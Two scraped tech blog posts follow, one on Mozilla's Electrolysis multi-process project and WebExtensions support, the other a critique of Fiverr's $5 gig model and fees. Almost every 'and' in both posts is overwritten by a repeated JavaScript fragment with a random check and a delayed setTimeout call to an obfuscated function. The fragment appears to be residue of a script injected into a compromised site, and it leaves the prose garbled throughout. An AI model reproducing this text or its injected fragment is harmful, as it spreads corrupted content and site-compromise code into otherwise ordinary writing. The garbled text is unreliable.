Mozilla’s all set To Unveil Its Long-Awaited “Electrolysis Project” & Dump Add-ons for Chrome Extensions

Web Technology

Mozilla Firefox is finally setting its Electrolysis project in motion that was adjourned in 2011 after starting in 2009, however, later resumed two years back. Not only that but it has also decided to ditch its popular add-ons for more universal, chrome web extensions.

Mozilla Firefox always enjoyed immense popularity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and preference of users around the world, until Google introduced its Chrome browser. Due to the speed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and efficiency offered by Chrome, users’ preference diverted from Firefox quite significantly.

The leading problems of such divergence were lack of stability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lack of add-on computability across browsers. However, with the changes Mozilla bringing to Firefox will make up to those lacking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make browsing even more secure andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and faster than ever.

Electrolysis Project to put in simple terms is the newfound ability of Firefox that lets it use multiple processes.

The governing factor that makes Chrome faster than Firefox is its multi-process functioning that lets it shift the processing load among multiple tabs. However, “Firefox has always used a single process”, says Bill Mccloskey in a blog. However, the Electrolysis Project utilizes separate OS processes to run the Web Content.

With Electrolysis, both the UI andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and browser tabs will be separated to ensure security, stability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more efficiency.

The second big decision of Mozilla will be to integrate blink-compatible API, WebExtentions, to its browser to Support Chrome (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other browser’s) extensions.

Mozilla stated in its blog post, “We would like add-on development to be more like Web development: the same code should run in multiple browsers according to behavior set by standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards, with comprehensive documentation available from multiple vendors.”

The new WebExtentions will be compatible across browsers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and available on Mozilla’s add-on store. Currently, WebExtentions are available for a test drive on Mozilla’s Developers Edition andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will soon be available on-default Firefox 43. Moreover, all the future add-ons will be signed by Mozilla before they are launched for use.

The WebExtentions will be quite beneficial for the developers as they would no longer need to make separate extensions for multiple browsers but tweak the same extension to make it run easily on not only Firefox but other browsers as well.

Other than the Electrolysis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and WebExtensions, Mozilla also announced a few more updates andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fixes as its future projects. More information on those updates can be found on its official blog.

Crowd-sourcing Fiverr or Fever?

Web Technology

Fiver anything for 5 dollars

These days its all about crowd-sourcing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how beneficial it gets when people use services like kick-starter to fund their campaigns or when they can easily hire graphic designers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and programmers through odesk andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elance.

One such player in the crowd sourcing marketplace is Fiverr. Its unique model is to sell all services starting from $5 whcih can vary from brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding to fake reviews andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and testimonials. So, the next question that pops in your mind is that how-come services like logo design, programming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some more comprehensive jobs like professional translation can be done for such a small price. To get answer on all those keep reading.

1) Unlike odesk andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elance where service providers can pass andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and complete tests to verify their credentials there is nothing like this on fiverr, even a rookie or a kid in school can become a designer or a programmer over here. So if you expect that you’ve got a windfall by getting all the services from $5, think again, i must emphasize think many times again!

2) Now the interesting part, from the $5 you pay, you need to pay $0.5 more to fiverr for their platform andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the seller gets only $4 instead of $5 as fiverr keeps $1 as commission. So in actual contractors are providing you a service for mere $4 which they get after 2 weeks time. Isn’t this amazing? I call this slavery since Walmart look so good when compared here, period!

3) In addition to this Fiverr keep minting coins while those working just do what anyone can do for mere $4. And what buyer gets in the end, YOU can decide yourself.

4) Fiverr is notorious for their rude andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and disrespectful customer service andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and famous for closing accounts without any notice. This might be because they need to play street cop more often then anyone else where everything just sell for $5. So who cares if their account get closed, trying your luck andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and running away isn’t too hard at all.

5) Another thing to beware of is that fiverr as per their terms can close your account without any notice, so in case if you have purchased any service from them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its still in progress you may lose your payment. The only way to get it back is through a dispute via paypal as this is the only method which they accept. The looser here again is not Fiverr but the contractor who is working for mere $4 per gig andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and seller who just found a treasure hunt for mere $5.5. Pity isn’t it?

So finally those who still think of Fiverr as a remarkable platform, please do check the negative review here andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and here. So when next time you put your feet in this domain you better know you are wasting your time for mere $5.
